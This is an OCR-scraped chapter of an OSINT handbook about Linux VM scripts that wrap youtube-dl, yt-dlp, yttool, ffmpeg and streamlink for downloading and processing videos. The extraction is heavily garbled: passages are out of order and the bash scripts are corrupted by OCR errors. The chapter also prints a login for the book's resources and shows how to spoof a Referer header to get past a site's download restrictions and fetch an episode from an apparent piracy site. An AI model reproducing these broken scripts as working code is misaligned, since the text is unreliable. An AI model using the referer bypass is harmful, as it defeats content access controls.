(youtube-dl) instructs the script to launch the YouTube-DL command with the entered URL; defines a folder for output; and supplies a proper file name. The rest of the script (nautilus) launches the folder containing the final download for convenient access. We will see this structure numerous times throughout this chapter. If you were to save this file to your Desktop as youtubedl.sh, you could launch it with the following Terminal commands. Linux Applications 49 • youtube-dl https://www.youtube.com/watch?v=lLWEXRAnQdO -f 1 bestvideo[height<=720]+bestaudio' —all-subs —title "Video Downloader" —text "Choose TRUE "$optl" FALSE "$opt2") While named YouTube-DL, this script works on most popular video websites. You should have no issues downloading individual or bulk videos from YouTube, Vimeo, LiveLeak, WSHH, and many others. The bulk download option has saved me numerous hours of manually downloading videos individually. I have yet to find any size or file number limitations. This utility is likely my most used program within Linux, aside from browsers. While this configuration took some time, it will save you much effort in the future. You can now download single videos, or entire video collections, without opening Terminal or typing a single command. We will replicate similar steps throughout this chapter, and automatically copy over all scripts, shortcuts, and icons with only a few direct commands soon. All configurations and files are available within the "vm-files" archive of custom Linux files on my website at https://inteltechniques.com/osintbook9. If required, enter a username of "osint9" and password of "bookl43wt", without the quotes, in order to access these resources. Alternatively, you can create your own scripts with the details provided in these tutorials. Please note that these examples assume you chose "osint" as your username for your VM, as explained in a previous chapter. All of the demos in this chapter will assume this. If you deviated from this example, you will need to replace "osint” with your chosen username within the shortcuts. You should now see a new icon in your Dock in Ubuntu. Clicking this should present the same dialogue as seen in Figure 4.01 (left). Entering your target URL from YouTube or other services should execute the appropriate options and save your evidence into your Videos folder, as seen in Figure 4.01 (right). The file name includes the date and time of download followed by the title of the video file. The subtitles are also included. The summary of these steps is that we created a desktop shortcut script; moved it to the proper system folder; created a new directory to store our custom scripts; moved our first script into it; downloaded the supplemental files; moved over data; and added our new launch icon into our Dock. If you feel lost on any of this, do not worry. We will repeat the process in a moment with another program. As you practice entering these commands, the more comfortable you will become using Terminal for other configurations. You could enter this command manually when needed, but I prefer to add it as an option within our script. The following script provides a choice of best quality or best quality up to 720p. In 2019,1 discovered a potential issue with this script. Since many video websites are now offering "Ultra-HD" 4K resolution videos, the file size can be quite large. Downloading an entire channel can take hours and the files may contain over a terabyte of data. While I appreciate that YouTube-DL always defaults to the highest resolution video available, 1 may want to choose a lower resolution when downloading hundreds of files. The following command executes YouTube-DL; queries our target video; downloads the best quality video up to a resolution of 720p; downloads the best quality audio available; merges the two streams into one media file; and downloads all subtides. Note that this is one command which requires two lines for display. • Open the Applications menu again and scroll down to "Video Download”. If you do not see it, try searching "Video" within the top search field. This should present the icon permanendy in this menu. You may need to repeat this step with upcoming tutorials. • Right-click this program and select "Add to favorites". #!/usr/bin/env bash optl="Best Quality" opt2="Maximum 720p" timestamp=$(date +%Y-%m-%d:%H:%M) videodownloadmenu=$(zenity —list Quality" —radiolist —column "" —column case $videodownloadmenu in $optl ) url=$ (zenity —entry —title "Best Quality" —text "Enter target URL") continue Cancel OK Figure 4.01: A Video Downloader prompt (left) and Cancel OK 50 Chapter 4 Video Downloader Best Quality Video Downloader Enter target URL i J3 Music Q Pktur result (right). 2019-03- 30:15:1530 b Ross­ is land in the Wilderness (Season 25 Episode 1). mp4 Enter target URL II Figure 4.02: The Video Downloader selection and URL entry menu. ' A _____ You could cither launch this file from within Terminal every time or repeat the previous steps to create a desktop icon which can be executed from within the Applications menu. However, I do not recommend these manual steps unless you simply want the experience. As another reminder, in a moment, I will present easy commands which download, extract, copy, and configure every script, icon, and shortcut within this chapter all at once. It will be much easier than performing all of the steps manually. However, it is important to understand the technology’ behind these scripts in case you ever need to modify' the contents due to changes within the various applications or add new features and programs as they are released after this publication. I promise this will all come together easily in the next chapter. You will be able to replicate every' detail presented here within only a few minutes. Choose Quality Choose Option © Best Quality Maximum 720p youtube-dl "$url" -o -/Videos/Youtube-DL/"$timestamp° (title) s.% (ext) s" -i —all­ subs I zenity —progress —pulsate —no-cancel —auto-close --title=”Video Downloader" —text="Video being saved to -/Videos/Youtube-DL/" nautilus -/Videos/ exit;; $opt2 ) url=$(zenity —entry —title "Maximum 720p" —text "Enter target URL") youtube-dl "$url" -o -/Videos/Youtube-DL/"$timestamp% (title) s .% (ext) s" -i -f 'bestvideo [height<=720]+bestaudio' —all-subs I zenity —progress —pulsate —no­ cancel —auto-close —title="Video Downloader" —text="Video being saved to -/Videos/Youtube-DL/" nautilus -/Videos/ exit;; esac If you saved this script and tided it "youtubedl.sh", you could launch it the same way as the previous option. It would provide a menu which allows a choice between the two commands previously explained. Figure 4.02 (left) displays the selector window when die script is launched and Figure 4.02 (right) displays the URL entry' menu after a choice has been selected. Much of this script is similar to the previous example. However, there arc some unique differences. In die first script, we only gave it one task. In this script, we have multiple options. If this seems overwhelming, please don't worry'. Once we get to our final video download script, I will explain even- section and its function. Please remember that this chapter is designed to explain the benefits of automated steps. Complete understanding of bash scripts is not required in order to use these new programs or continue with the tutorials throughout the remainder of the book. yt-dlp (github.com/yt-dlp/yt-dlp) sudo -H pip install yt-dlp The previous commands for YouTube-DL function within this option. Our previous search would be as follows. • yt-dlp https://www.youtube.com/user/BobRossInc/videos YouTube Tool (github.com/nlitsme/youtube_tool) The first step is to install this utility with the following command within Terminal. sudo -H pip install youtube-tool yttool —comments https://www.youtube.com/watch?v=lLWEXRAnQdO > BR.txt Linux z\pplications 51 --------- > Void the Bot Some make happy little acidents --------- > TheLazyGamer YT Not all capes wear heroes • Export video page information: yttool —info https://www.youtube.com/watch?v=lLWEXRAnQdO > info.txt • Export details of all videos contained in a Playlist yttool —playlist https: //www. youtube .com/playlist?list=PLAEQD0ULngi67rwmhrkNjMZKvyCReqDV4 > playlist.txt I have added menu dialogue options into our video download script, which is presented in a moment This command targets the desired video page; loads all of the user comments; exports them to a file called BR.txt; and saves this file wherever your current Terminal path is set. I chose this video because it contains thousands of comments. My query took several minutes, but the text file created contained over 20,000 lines of comments. Below is a partial view. YouTube-DL has been a staple in my OSINT work for many years. In 2021,1 witnessed weekly updates turn into months without any patches. Since YouTube changes their own services regularly, we need alternatives for downloading their content This is where yt-dlp can be helpful. This application is a fork of the original YouTube-DL, but it has a much more active community and regular updates. Install it with the following command. It should be noted that YouTube changes the "pagination" features of its comment section often. When they do, this feature breaks until the software is updated. We can also conduct the following commands with this tool. 1 like the way this video download script is coming along, but I want to add more features. I want an alternative download option; features which download all the comments from a YouTube video; and the ability to export data about videos, channels, and playlists. We can now formulate various queries, such as the following. • Export all subtitles of a video (with timestamps): yttool -v —subtitles https://www.youtube.com/watch?v=lLWEXRAnQdO > subs.txt Cancel OK Figure 4.03: The final Video Downloader script dialogi;ues. FALSE 52 Chapter 4 Export YT comments x 1 © YTDL-Best Quality YTDL-Maximum 720p YTDLP-Best Quality YTDLP-Maximum 720p Export YT Comments Export Subtitles Export YT Playlist Export YT Info —title "Video Downloader" —radiolist TRUE "$optl" FALSE "$opt2" FALSE "$opt3" FALSE "$opt4" Enter Video ID ... The following page displays the entire final video download script included in your files, and a complete explanation of each step after that page. Upon launch, you -will see the menu in Figure 4.03 (left). If choosing die new comments option, you will then see the Video ID entry option within Figure 4.03 (right). Notice that this dialogue asks ONLY for the video ID and not the entire URL. This allows the script to output a file titled similar to IxvAya9uwwU-comments.txt. —no- to #!/usr/bin/env bash optl="YTDL-Best Quality" opt2="YTDL-Maximum 72Op" opt3="YTDLP-Best Quality" opt4="YTDLP-Maximum 720p" opt5="Export YT Comments" opt6="Export Subtitles" opt7="Export YT Playlist" opt8="Export YT Info" timestamp=$(date +%Y-%m-%d:%H:%M) videodownloadmenu=$(zenity —list column "" —column "" . "$opt5" FALSE "$opt6" FALSE "$opt7" FALSE "$opt8" —height=400 —width=3*00) case $videodownloadmenu in Soptl ) url=$(zenity —entry —title "Best Quality" —text "Enter target URL") youtube-dl "$url" -o -/Videos/Youtube-DL/"$timestamp% (title) s . % (ext) s" -i • subs | zenity —progress —pulsate —no-cancel —auto-close --title="Video Downloader" —text="Video being saved to -/Videos/Youtube-DL/" nautilus -/Videos/ exit;; $opt2 ) url=$ (zenity —entry —title "Maximum 720p" —text "Enter target URL") youtube-dl "$url" -o -/Videos/Youtube-DL/"$timestamp% (title) s . % (ext) s" -i - 'bestvideo[height<=720]+bestaudio1 —all-subs I zenity —progress —pulsate cancel —auto-close —title="Video Downloader" —text="Video being saved '•/Videos/Youtube-DL/" nautilus -/Videos/ exit;; $opt3 ) url=$(zenity —entry —title "Best Quality" —text "Enter target URL") yt-dlp "$url" -o -/Videos/Youtube-DL/"$timestamppd (title) s. % (ext) s" -i —all-subs I zenity —progress —pulsate —no-cancel —auto-close —title="Video Downloader" — text="Video being saved to -/Videos/Youtube-DL/" nautilus -/Videos/ exit;; $opt4 ) url=$(zenity —entry —title "Maximum 720p" —text "Enter target URL") yt-dlp "$url" -o -/Videos/Youtube-DL/"$timestamp% (title) s. % (ext) s" -i -f 'bestvideo[height<=720]+bestaudio' —all-subs | zenity --progress —pulsate —no­ cancel —auto-close —title="Video Downloader" —text="Video being saved to '•/Videos/Youtube-DL/" nautilus -/Videos/ executable script. • t imestamp=$ (date +%Y-%m-%d: %H: %M) : This creates a timestamp to prevent duplicate file names. • videodownloadmenu=$: This creates the menu and an identity for it. • zenity: This launches Zenity, which provides the graphical dialogues. have youtube-dl: This is the command to launch YouTube-DL. "$url" : This instructs the script to use the text which was input previously. 53 Linux Applications • Soptl ) : This begins the command for the first option. # !/usr/bin/env bash: This identifies the file as an • optl-"YT-DL Bese Quality”: This provides selectable options for the menu and identifies the text which will be displayed for each entry. url=$(zenity —entry —title "Best Quality" —text "Enter target URL"): This instructs the script to create a menu and prompt the user for die URL of the target video. exit;; $opt5 ) title="C~rnpS,tXt” ‘ Zenity -Process -pulsate -no-cancel -auto-close - nautiluq /v ■ xpor^-er text-"Comments being saved to ~/Videos/Youtube-DL/" nautilus -/Viaeos/ exit; ; $opt6 ) ~~entry "title "Export YT Subtitles" —text "Enter Playlist ID") "https://www.youtube.com/playlist?list=$url" > -> °J U e.DL^ 5url-subtitles.txt" | zenity —progress —pulsate —no-cancel ~/vidpn^/vSe “’ci^le=”Playlist Exporter" —text="Playlist being saved to -/Videos/Youtube-DL/" nautilus -/Videos/ exit;; $opt7 ) vttZ!l(Z—7~e2tJ;y —title "Export YT Playlist" —text "Enter Playlist ID") nr“”pJ-ay|lst "https://www.youtube.com/playlist?list=$url" > -/Videos/Youtube- ririfi="PiP 1st.txt" | zenity —progress —pulsate —no-cancel —auto-close — t*xPorter" text="Playlist being saved to -/Videos/Youtube-DL/" nautilus -/videos/ exit;; $opt8 ) vttool12-11^? ~”®ntry —title "Export YT Info" —text "Enter Video ID") Y - nttps://www.youtube.com/watch?v=$url" > ~/Videos/Youtube-DL/"Surl- . .tx zenity progress —pulsate —no-cancel —auto-close —title="Info n»Pr:?er being saved to -/Videos/Youtube-DL/" nautilus -/Videos/ exit;; esac case Svideodownloadmenu in: The case statement is used to simplify things when you multiple different choices. It is likely overkill for our scripts, but no harm in tidiness. —list —title "Video Downloader" —radiolist column " _„C°^cv "$optl" FALSE "$opt2" FALSE "$opt3" FALSE "$opt4" FALSE "$opt5 FALSE p«- FALSE "$opt7" FALSE "$opt8") : This creates a menu which displays the eight options, visible in Figure 4.03. The "True" command selects a default option while "False commands are unse ecto nautilus '•/Videos /: This opens the Videos folder to display the evidence. • exit; ;esac: This instructs the script to exit after completion and closes the "case”. Fragmented Videos video. You should see numerous connections, similar to the following. 54 Chapter 4 fl b3u7d4z4.ssl.hwcdn.net Q b3u7d4z4.ssl.hwcdn.net fl b3u7d4z4.ssl.hwcdn.net Q b3u7d4z4.ssl.hwcdn.net fl b3u7d4z4.ssl.hwcdn.net fl b3u7d4z4.ssl.hwcdn.net fl b3u7d4z4.ssl.hwcdn.net 5f659062b70e4f67111a7d1f_Layer_4.key 5f659062b70e4f67111a7d1f_Layer_5.m3u8 5f659062b70e4f67111a7d1f_Layer_5.key 5f659062b70e4f67111a7d1f_Layer_5_00001.ts 6f659062b70e4f67111a7d1f_Layer_5.key 5f659062b70e4f67111a7d1f._Layer_5_00002.ts 5f659062b70e4f67111a7d1f_Layer_5.key dotplayer.js:11 (xhr) dotplayer.js:11 (xhr) dotplayer.js:11 (xhr) dotplayer.Js:11 (xhr) dotplayer.js:11 (xhr) dotplayer.js:11 (xhr) dotplayer.js:11 (xhr) This final script offers the following features within your Linux VM without the need to open Terminal or enter any commands. The Desktop shortcut explained earlier would execute this script from your Applications menu. • Download a video, entire playlist, or channel in the best possible resolution with YouTube-DL. • Download a video, entire playlist, or channel in the best resolution up to 720p with YouTube-DL • Download a video, entire playlist, or channel in the best possible resolution with yt-dlp. • Download a video, entire playlist, or channel in the best resolution up to 720p with yt-dlp. • Export all comments from any YouTube page. • Export all subtides from any YouTube page. • Export all videos from a playlist to a text file. • Export all text information from any YouTube page to a text file. —o ~/Videos/Youtube-DL/"$timestamp% (title) s.% (ext) s": This finishes the command to output the evidence and tide the file based on timestamp and actual video name. The ".ts" files are small video fragments which are being streamed to your browser. This target video URL contains hundreds of these files. Instead of targeting the video fragments, we want the "m3u8" file which acts as a playlist for all of the video pieces. An example is displayed above in the second row. Right-click on this option; highlight "Copy"; and select "Copy URL". Paste this URL into your video download tool. I prefer the yt-dlp option. In this example, my URL is as follows. It is very common for websites to present embedded videos which consist of hundreds of small pieces of streaming video frames. These files load seamlessly while viewing a video, but this delivery method can make the download process difficult. Some sites do this to prevent copying of proprietary content, while others eliminate unnecessary download of large single files if the video is stopped before the end. While YouTube-DL and yt-dlp are great programs, they are not perfect. Submitting a URL which contains a fragmented video is likely to fail. Therefore, we need to understand a manual way to approach this issue. Consider the following example. There is an embedded video at https://www.axs.tv/channel/movember/video/billy-gibbons-l/. Submitting this URL to the tools results in an error because they cannot properly detect the video. I zenity —progress —pulsate —no-cancel —auto-close —title="Video Downloader" —text="Video being saved": This presents a dialogue while the video is downloading which closes upon completion. Before playing the video, right-click within your Firefox or Chrome browser and select "Inspect". Click the Network1 tab within the new window at the bottom of your browser, then click the play button within the Blocked Downloads "live pd" "s01e56" "watch" https://123watchmovies.co/episode/live-pd-season-l-episode-56/ https://tl 3.gomoplayer.com/vxokfnh4w6alavf4ercyvnw4q6xevr24ybj4eyfwtedjogbrwjuewms52v2a/v.mp4 Referer https://gomoplayer.com/ Linux /Xpplications 55 cd -/Downloads yt-dlp https://tl3.gomoplayer.Com/vxokfnh4w6alavf4ercyvnw4q6xevr24ybj4ey fwtedjogbrwjupgfk52v2a/v.mp4 —referer https://gomoplayer.com/ https://b3u7d4z4.ssl.hwcdn.net/files/company/5e98clf8bb2eel52dfU229b2/assets/videos/5f659062b70e4f6 711 Ia7dlf/vod/5f659062b70e4f671Ha7dlfL.Layer_5.m3u8 The first page of results loaded a video player but encountered an error when the stream was attempted. Basically, the video file no longer existed so it could not be streamed within the browser. I finally found the following website which would play a video stream of the target episode. 1 submitted this new URL to the video download tool, but the result was a small empty video file without any content. This is because the target website includes a strict policy which prevents download of content from any source besides an approved URL. While this site is allowed to stream the video, I would be blocked if I tried to stream it on my own site. Therefore, our video download attempt appears to be an unauthorized source. This is becoming more common. 1 clicked on the "v.mp4" file within the Inspector menu in my browser and looked for the "Referer" field. It appeared as follows. Since you are providing a playlist of these video fragments to the download tool, the software can identify the list of videos and reconstruct them into a single video file. The previous URL resulted in a one-hour single video in MP4 format without any sign of spilt files. I rely on this technique weekly. It works for 99% of streaming videos, but I occasionally find a difficult target. I can usually bypass most download restrictions with the next technique. This instruction tells the target website that gomoplayer.com is referring its own content into its embedded player software and the video should be allowed to play on this site. We now know the required referer and can emulate this within our own computer. The following command was entered into Terminal. I could watch the video, but submitting this URL to our script resulted in an "unable to download webpage" error. The Firefox plugin previously explained could not detect the actual video stream URL because this site embeds the video within a custom player which intentionally makes the download process difficult I right- clicked the page while the video was streaming; selected the "Inspector" option; clicked the "Network" tab; and sorted the results by "Transferred" size. I immediately saw the following file tided "v.mp4" streaming through the browser and becoming a large file. Some services generate much effort toward prevention of video downloads from their sites. If the previous download tactics resulted in errors, you may have encountered a blocked file or stream. In most scenarios, you can bypass this with a modified "referer". Consider the following example and modify for your own usage. In 2021,1 was contacted by a former colleague who had a unique request. He was trying to download an old episode of the television show "Live PD" as part of an investigation. The episode originally aired in 2016 and pirated copies on torrent sites had all disappeared. It was the 56th episode of the first season and he had exhausted his search. The following query on Google displayed several sites which claimed to possess the video. 56 Chapter 4 This changes our working director}' to the Downloads folder; launches the yt-dlp software; provides the direct URL of the target video; and informs the service that the original referer is the same option as required (even though this is not true). After executing this command, the 750mb video file downloaded to my computer. I have successfully used this technique within many investigations. The next time your download is blocked, consider replicating this process with the data present within your own investigation. YouTube-DL vs yt-dlp At the time of this writing, YouTube was throttling video download speed to all video download utilities. They included code within their systems which would detect video download; throttle the speed to less than 50 kbps; and cause frustration to those trying to archive content A five-minute video might require over an hour to download through YouTube-DL. Fortunately, yt-dlp updated their software to bypass this restriction. The same video download completed in a few seconds through their software. This is why I insist on access to both options. By the time you read this, the results may be reversed. Today, I always choose the yt-dlp options, but tomorrow could change my preference. Make sure you are comfortable with all options, and be sure to document the tool used in your final report. IMPORTANT: I realize this is getting quite technical, and we are very’ early7 in the book. None of the steps in this chapter are required to complete the tutorials within the rest of the book. However, having your Linux VM customized and ready to go will be beneficial. In the previous example, yrou created a utility7 which will download videos from the internet. Once y7ou see how this works and understand the benefits, y7ou may7 not want to settle for the various web-based options presented later. For convenience, let’s go ahead and configure all of the custom scripts presented within this book. The following Terminal commands download, extract, relocate, and configure every Linux script, icon, and shortcut presented throughout this entire book. • cd -/Desktop • sudo apt install -y curl • curl -u osint9:bookl43wt -0 https: /1 inteltechniques. com/osintbook9/vm-f iles. zip • unzip vm-files.zip -d -/Desktop/ • mkdir -/Documents/scripts • mkdir -/Documents/icons • cd -/Desktop/vm-files/scripts • cp * -/Documents/scripts • cd -/Desktop/vm-files/icons • cp * -/Documents/icons • cd -/Desktop/vm-files/shortcuts • sudo cp * /usr/share/applications/ • cd -/Desktop • rm vm-files.zip • rm -rf vm-files ou s ou now possess shortcuts and scripts for all of the techniques we are discussing, but the education is ar om over. Let s conduct an additional example of creating your own execution script from the beginning, ext, we will tackle various video utilities. In the following chapter, we will issue a couple of commands and sit ack while this entire chapter is automated. From now on, 1 will abbreviate the steps. I present an important warning before we begin installing numerous applications via Terminal. Some will fail to install completely on the first attempt. This is often due to a broken or missing dependency7 which is required by7 the application. Sometimes, repeating the steps solves the issue, while other scenarios require us to wait until the program is updated by7 the developer. There is no harm in repeating the steps presented here if y7ou run into complications. You will see many Pip errors or warnings displayed while you install apps. These are version conflicts and will be discussed later, and typically do not impact the functions of the program. Video Utilities folder alongside the original. Linux Applications 57 Play a video: ffplay evidence.mpg This command simply plays the video inside a new window at full resolution. First, let's take a look at the manual commands which achieve the desired goals of each option. Assume that you possess a video tided evidence.mpg on your Desktop. After changing to your Desktop director}’ within Terminal (cd ~/Desktop), the following commands would be used. The utilities in this section execute the previously installed tool FFmpeg. This powerful Terminal utility can manipulate videos to assist with investigations. We will create scripts which will provide the following services. • Play a video: This option will force FFmpeg to attempt to play any video file with multiple video codecs. This will often play videos that would not otherwise play using standard media players such as Windows Media Player and VLC. This will also play many surveillance videos without the need for third-party programs. I once used this technique to play a corrupt video file which captured a homicide, but standard video players could not understand the data. • Convert a video to MP4: This option simply converts any target video to a standard MP4 format. This is beneficial when the target video possesses a unique codec that prohibits playing universally. If the above option can play the video, this option can convert it so that any computer should be able to play it natively. I often used this to send copies of videos to prosecutors forced to use Windows computers. • Extract video frames: This is likely the most used utility within this set of applications. After supplying a target video, this tool will extract the still images from the video. The result is a folder of uncompressed bitmap (bmp) image files depicting practically every frame of the video. This is beneficial when close examination of frames is necessary. I include this every time a crucial video will be used during prosecution of a crime. • Shorten a video (Low activity): This version of the script removes single frames of a video that appear extremely similar to the frame preceding it. In other words, it takes out all of the frames which are the same (no action) and only leaves desired activity. This is great for surveillance video which contains hours of one scene. • Shorten a video (High activity): This version of the script is identical to the previous with one exception. It is a bit more forgiving for videos with high activity. This might be outdoor surveillance of people walking in the distance or a video with a time counter printed within the feed. If the previous option does not remove enough content, this version will be a bit more aggressive. Both of these work well with surveillance video recorded in real-time (no motion detection). • Extract audio: This option extracts the raw audio file out of any video, converts it to a 320k MP3 file, and saves the file. I have used this to extract audio from video confessions and interviews, and it works well on any online videos downloaded from the internet. • Rotate video: You may encounter a video which has been captured from a mobile device and is rotated 90 degrees clockwise. This option allows us to rotate the video counterclockwise to a traditional view, and flips the video vertically to generate a traditional view of a cellular video. This is beneficial during courtroom presentation, especially when a jury is involved. • Download a stream: This feature allows you to enter a video stream URL obtained from the Stream Detector browser plugin to download an offline copy of the video. Extract video frames: ffmpeg -y -i evidence.mpg -an -r 10 img%03d.bmp This command saves the still images from the video to a new Convert a video to MP4: ffmpeg -i evidence.mpg -vcodec mpeg4 -strict -2 evidence.mp4 This command converts the video to a standard format and saves it alongside the original. 58 Chapter 4 copy evidence.mp4 embedded stream. Shorten a video (High activity): ffmpeg -i evidence.mpg -strict -2 -vf "select=gt (sceneX, 0.005) ,setpts=N/ (25*TB) " evidence.mp4 This command converts the video to a version displaying activity, saving it alongside the original. Download stream: ffmpeg -i http://somesite.org/867asfjhg87.m3u8 This command downloads the video file from within an Shorten a video (Low activity): ffmpeg -i evidence.mpg -strict -2 -vf "select=gt(sceneX,0.003), setpts=N/(25*TB) " evidence.mp4 This command converts the video to a version displaying activity, saving it alongside the original. Extract audio: ffmpeg -i evidence.mpg -vn -ac 2 -ar 44100 -ab 320k -f mp3 evidence.mp3 This command converts the video to a standard audio mp3 and saves it alongside the original. Rotate video: ffmpeg -i evidence.mpg -vf transposed evidence.mp4 This command rotates the video 90 degrees counter-clockwise and saves it alongside the original. #!/usr/bin/env bash zenity —info —text="The next window will prompt you for a target media file. Click "Cancel" if entering a stream URL." —title="Video Utilities" ffmpeg_file=$ (zenity —file-selection —title "Video Utilities") timestamp=$ (date +%Y-%m-9dd: : %M) optl="Play a video" opt2="Convert a video to mp4" opt3="Extract video frames" opt4="Shorten a video (Low Activity) " opt5="Shorten a video (High Activity)" opt6="Extract audio" opt7="Rotate video" opt8="Download a video stream" ffmpeg=$ (zenity —list —title "Video Utilities" —radiolist —column "" —column "" TRUE "$optl" FALSE "$opt2" FALSE "$opt3" FALSE "$opt4" FALSE "$opt5" FALSE "$opt6" FALSE "$opt7" FALSE "$opt8" —height=400 —width=300) case Sffmpeg in Soptl ) ffplay "$ffmpeg_file" exit;; $opt2 ) ffmpeg -i "$ffmpeg_file" -vcodec mpeg4 -strict -2 ~/Videos/$timestamp.mp4 I zenity —progress —pulsate —no-cancel —auto-close —title="f fmpeg" —text="Converting Video to mp4" nautilus -/Videos/ exit;; $opt3 ) mkdir *7Videos/$timestamp-frames As you can see, these commands can be lengthy and technical. We want to create one single custom script which wall allow us to choose which service we want to execute. This is a bit different than the previous example, as it will combine several options into one dialogue and allow the user to select a video upon execution. The following pages display the script 1 use on my own VM. Afterward, I explain some of the new portions which are important to our usage. This exact script is titled ffmpeg.sh within your "vm-files" download. Linux Applications 59 [Desktop Entry] Type=Application Name=Video Utilities Categories=Application;OSINT Exec=/home/osint/Documents/scripts/ffmpeg.sh Icon=/home/osint/Documents/icons/ffmpeg.png Terminal=true The second (zenity) line prompts the user with a dialogue telling them to pick a file in the next window. The user then sees a file selection window which can be used to browse to the target video. The script then executes the commands as previously explained. It then defines that video within the script and obtains a timestamp for unique naming. The (opt) section identifies the options for the user, which match our previous manual entries. The script then displays the utility selection window to users which allows them to choose the appropriate action to take against the target video, such as play, convert, extract, etc. If following along manually, you will find this script within the "vm-files" archive you previously downloaded. You should already have this script in the "scripts" folder in your "Documents" folder. This should be the same location where you saved the YouTube-DL script. Next, we need a shortcut to open this script, just as we did previously. The previous steps moved a file titled "ffmpeg.desktop" to your "/usr/share/applications" folder, and a shortcut should be visible in your Application menu. Below is the content of the ffmpeg.desktop file. -an -r 10 ~/Videos/?timestamp-frames/img%03d.bmp I j —no-cancel —auto-close —title=”ffmpeg" ffmpeg -y -i "$ffmpeg_file" - zenity —progress —pulsate text="Extracting Frames" nautilus -/Videos/ exit;; ?opt4 ) ffmpeg -i "?ffmpeg_file" -strict -2 -vf "select=gt (scene\,0.003), setpts=N/(25*TB) •• -/Videos/?timestamp-low.mp4 | zenity —progress —pulsate —no-cancel —auto-close —title="ffmpeg" —text="Shortening video (Low Activity)" nautilus -/Videos/ exit;; ?opt5 ) ffmpeg -i "?ffmpeg_file" -strict -2 -vf "select=gt(scene\,0.005),setpts=N/(25*TB)" -/Videos/?timestamp-high.mp4 | zenity —progress —pulsate —no-cancel —auto-close —title="ffmpeg" —text="Shortening video (High Activity)" nautilus -/Videos/ exit;; $opt6 ) ffmpeg -i "?ffmpeg_file" -vn -ac 2 -ar 44100 -ab 320k -f mp3 -/Videos/$timestamp.mp3 I zenity —progress —pulsate —no-cancel —auto-close —title="ffmpeg" text="Extracting Audio" nautilus -/Videos/ exit;; ?opt7 ) ffmpeg -i "?ffmpeg_file" -vf transposed -/Videos/$timestamp.mp4 | zenity —progress —pulsate —no-cancel —auto-close —title="ffmpeg" —text="Rotating Video" nautilus -/Videos/ exit;; $opt8 ) url=$(zenity —entry —title "Video Stream Download" —text "Enter URL Stream") ffmpeg -i "?url" -c copy -/Videos/?timestamp-STREAM.mp4 | zenity —progress — pulsate —no-cancel —auto-close —title="ffmpeg" —text="Saving Stream" nautilus -/Videos/ exit;;esac example L Home Desktop - Size Type Documents Downloads o MUSIC Pictures Videos Text Figure 4.04: The Video Utilities selection dialogue and menu of options. Video Stream Tool sudo -H pip install streamlink 60 Chapter 4 • Open the Applications menu again and scroll down to "Video Utilities". • Right-click this program and select "Add to favorites". We can now use the tool within Terminal. The following command plays the best quality version of a live stream from a Twitch user conducting a cooking lesson through VLC. G O O 2020-10-10:10:02%.txt ' lxvAya9uwwtRomment.. lLWEXRAnQdNnfo.txt Text Video Text o o ’ ' : same paths to our Dock in Select items from the list below. Choose Option Playa video Convert a video to mp4 Extract video frames Shorten a video (Low Activity) Shorten a video (High Activity) Extract audio Rotate video Download a video stream This should look very similar to the previous shortcut. Again, this file assumes you have applied the and usernames as my demonstration throughout this chapter. Next, let's add a shortcut icon to o order to have easy access to this new utility. The previous examples explained the details of how these scripts and shortcuts function. The remaining utilities we need to add are quite similar and do not need the same attention to detail. I present a description of each utility; the content of each script and shortcut, the commands to include in your Ubuntu VM, and an c t of usage. After you select the target video, you are presented with a menu of the options mentioned previously, as seen in Figure 4.04 (right). After choosing the action, the script processes the video and creates the new evidence. /Ml of this happens without opening Terminal or typing any commands. The previous utility possesses an option to download a video stream. This can be useful if you know the exact location of the data. In Chapter Three, I presented a Firefox extension titled Stream Detector. On that page, 1 explained how it detected a video stream URL for a primary video stream from CNN. If we copied and pasted that URL into the "Download Stream" option of the previous script, it would archive the video into MP4 format. This is great, but that feature is unforgiving. If you do not know the exact stream URL, you are out of luck. This is where Strcamlink can assist. This powerful software can identify, play, and archive many live or pre-recorded video streams by simply providing the URL of the website in which it can be viewed. First, let's install it into our Linux VM with the following command within Terminal. . 2020-1009:1 &44Bob Ro... 40.4 kB B 2020-10-09:16:44Bob Ro... 92.0 MB 2020-10-10:10lX)%(tltle)... 0 bytes 8 2020-10-10:10:01%(tiUe)... 890 bytes Text 890 bytes Text 879 bytes Text 890 bytes Text *1 PLAEQD0ULngi67rwmhf... 7.7 kB You should now have a new icon in your Dock directly below the previous YouTube-DL option. You can drag- and-drop these in a different order if desired. The new icon launches a dialogue that first notifies you that "The next window will prompt you for a target media file. Click "Cancel" if entering a URL. After clicking OK, you are presented with a file manager window that prompts you to choose a target video file, as seen in Figure 4.04 (left). This could be a downloaded YouTube video, an unplayable surveillance video, or any other downloaded video content retrieved from any source. < Oosint Videos YouiubeOL Name streamlink https://www.twitch.tv/shroud best • streamlink https://www.twitch.tv/shroud best -o shroud-stream If we wanted to watch and archive the data in real-time, we can use the following command. shroud-stream • streamlink https://www.twitch.tv/shroud best copy -/Videos/shroud-stream.mp4 ffmpeg -i shroud-stream Linux Applications 61 Finally, when the live stream is over, I can convert the archived data into a standard video file within my Videos folder titled shroud-stream.mp4 with the following command. our default director}’ Figure 4.05 (left) displays the menu with the options I explained. Figure 4.05 (right) displays a live stream which is being archived while viewing. After the stream is finished, or the user cancels by pressing "Ctrl" and "C", the Videos folder is presented in order to see the evidence file. This file can then be converted using the final menu option. I find this to be the cleanest method of viewing, recording, archiving, and converting live video streams. This utility will be automatically installed and configured using the steps in the next chapter. Let's take a look at the script, which should start to look familiar now. #1/usr/bin/env bash optl="Display Live Stream" opt2="Record Live Stream" opt3="Play and Record Live Stream" opt4="Convert Stream to MP4" streammenu=$(zenity —list "" —column "" TRUE "$optl" height=400 —width=300) case Sstreammenu in Soptl ) url=$(zenity —entry —title "Display Live Stream" —text "Enter target URL") streamlink $url best exit;; $opt2 ) url=$(zenity —entry —title "Record Live Stream" —text "Enter target URL") cd -/Videos streamlink $url best -o streamdata | zenity —progress —pulsate —auto-close - -title="Record Live Stream" —text="Raw Video being saved to -/Videos/" nautilus -/Videos/ exit;; $opt3 ) url=$(zenity —entry —title "Play and Record Live Stream" —text "Enter target URL") cd -/Videos streamlink $url best -r streamdata I zenity —progress —pulsate —auto-close - -title="View/Record Live Stream" —text="Raw Video being saved to -/Videos/" nautilus -/Videos/ Instead of watching the stream, we can capture it to a file named "shroud-stream" within with the following command. —title "Video Stream Tool" —radiolist —column ' FALSE "$opt2" FALSE "$opt3" FALSE "$opt4" — I have created a script tided "streamlink.sh" within the "vm-files/scripts" folder of your download. If you placed this file into your "Documents/scripts" folder and moved the shortcut "streamlink.desktop from the "vm- files/shortcuts" folder to the "/usr/share/applications" folder as previously explained, you can now replicate all 